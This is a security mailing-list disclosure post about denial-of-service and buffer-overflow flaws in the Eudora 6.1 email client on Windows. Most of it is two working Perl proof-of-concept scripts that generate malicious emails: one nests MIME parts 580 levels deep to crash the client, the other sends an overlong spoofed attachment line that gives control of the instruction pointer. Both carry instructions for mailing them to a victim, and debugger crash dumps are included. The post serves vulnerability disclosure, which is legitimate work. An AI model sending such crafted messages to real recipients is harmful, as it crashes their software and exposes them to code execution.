Eudora 6.1 on Windows is evil - have tested "Light Mode" (free) only so far, do not know if "Sponsored Mode" or "Paid Mode" would be any different. (Do not use: stay away from Eudora, or maybe use version 6.0.3.) --- Attachment spoof, LaunchProtect: http://lists.netsys.com/pipermail/full-disclosure/2004-March/018897.html Works (i.e. broken) same as the 6.0.3 version. --- Nested MIME DoS: http://lists.netsys.com/pipermail/full-disclosure/2004-April/020075.html Works "better" than the 6.0.3 version, crashes at 580 levels: #!/usr/bin/perl -- print "From: me\n"; print "To: you\n"; print "Subject: nested multipart test\n"; print "Mime-Version: 1.0\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n"; &nest(0); print "\n"; # sub nest { my ($x) = @_; my $b = sprintf("bndry%04d",$x); print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n"; print "--$b\n"; print "Content-Type: text/plain\n\n"; print "Level $x\n\n"; # No problem for 570, but crash for 580 deep nesting: # # (444.458): Stack overflow - code c00000fd (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=00033494 edi=62000000 # eip=77f862ed esp=00032afc ebp=0003339c iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 # ntdll!LdrLoadAlternateResourceModule+9: # 77f862ed 53 push ebx if ($x < 580) { print "--$b\n"; &nest($x+1); } print "--$b\n"; print "Content-Type: text/plain\n\n"; print "Final $x\n"; print "--$b--\n\n"; } --- "Long attachment spoof" execute-any-code bug: http://lists.netsys.com/pipermail/full-disclosure/2003-September/010029.html from version 6.0 and previous (but apparently fixed in 6.0.1 and 6.0.3) is back: #!/usr/bin/perl -- print "From: me\n"; print "To: you\n"; print "Subject: Eudora 6.1 buffer overflow demo\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; print "Long spoofed attachments cause an exploitable buffer overflow:\n"; # (298.40c): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4 # eip=41414141 esp=0012f65c ebp=41414141 iopl=0 nv up ei ng nz ac pe cy # cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293 # 41414141 ?? ??? print "Attachment Converted\r: ", "A"x300,"\n\n"; --- Cheers, Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia
